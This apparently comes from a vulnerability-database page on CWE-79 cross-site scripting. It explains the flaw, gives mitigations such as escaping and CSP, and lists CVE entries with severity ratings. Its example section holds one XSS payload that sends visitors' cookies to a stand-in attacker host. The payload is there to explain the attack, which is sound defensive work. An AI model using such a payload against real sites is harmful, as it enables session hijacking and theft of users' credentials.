Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-24722HIGHCross-site Scripting in view_componentEPSS 1.1%CVE-2024-7124MEDIUMReflected XSS in DInGO dLibraEPSS 1.1%CVE-2021-25067—Landing Page Builder < 1.4.9.6 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 1.1%CVE-2021-24526—Form Maker < 1.13.60 - Authenticated Stored XSSEPSS 1.1%CVE-2023-2341HIGHCross-site Scripting (XSS) - Generic in pimcore/pimcoreEPSS 1.1%CVE-2023-51633HIGHCentreon sysName Cross-Site Scripting Remote Code Execution VulnerabilityEPSS 1.1%CVE-2019-6565—Moxa IKS and EDS fails to properly validate user input, giving unauthenticated and authenticated attackers the ability to perform XSS attackEPSS 1.1%CVE-2022-40434CRITICALSoftr v2.0 was discovered to be vulnerable to HTML injection via the Name field of the Account page.EPSS 1.1%CVE-2022-39048MEDIUMCross-Site Scripting (XSS) vulnerability in ServiceNow UI page assessment_redirectEPSS 1.1%CVE-2021-40272MEDIUMOP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).EPSS 1.1%CVE-2022-42711CRITICALIn Progress WhatsUp Gold before 22.1.0, an SNMP MIB Walker application endpoint failed to adequately sanitize malicious input. This could alEPSS 1.1%CVE-2023-45144CRITICALRemote code execution from login screen through unescaped URL parameter in OAuth Identity XWiki AppEPSS 1.1%CVE-2017-20192HIGHFormidable Form Builder < 2.05.03 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.1%CVE-2024-29882HIGHSRS DOM - XSS on JSONP callbackEPSS 1.1%CVE-2017-12221—A vulnerability in the web framework of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a cross-sEPSS 1.1%CVE-2021-24135—WP Customer Reviews < 3.4.3 - Multiple Unauthenticated and Low Priv Authenticated Stored XSSEPSS 1.1%CVE-2022-41445MEDIUMA cross-site scripting (XSS) vulnerability in Record Management System using CodeIgniter 1.0 allows attackers to execute arbitrary web scripEPSS 1.1%CVE-2024-5737MEDIUMHTML Injection in AdmirorFrames Joomla! ExtensionEPSS 1.1%CVE-2022-41312MEDIUMA stored cross-site scripting vulnerability exists in the web application functionality of Moxa SDS-3008 Series Industrial Ethernet Switch 2EPSS 1.1%CVE-2022-46934MEDIUMkkFileView v4.1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the url parameter at /controller/OnlinePreviewConEPSS 1.1%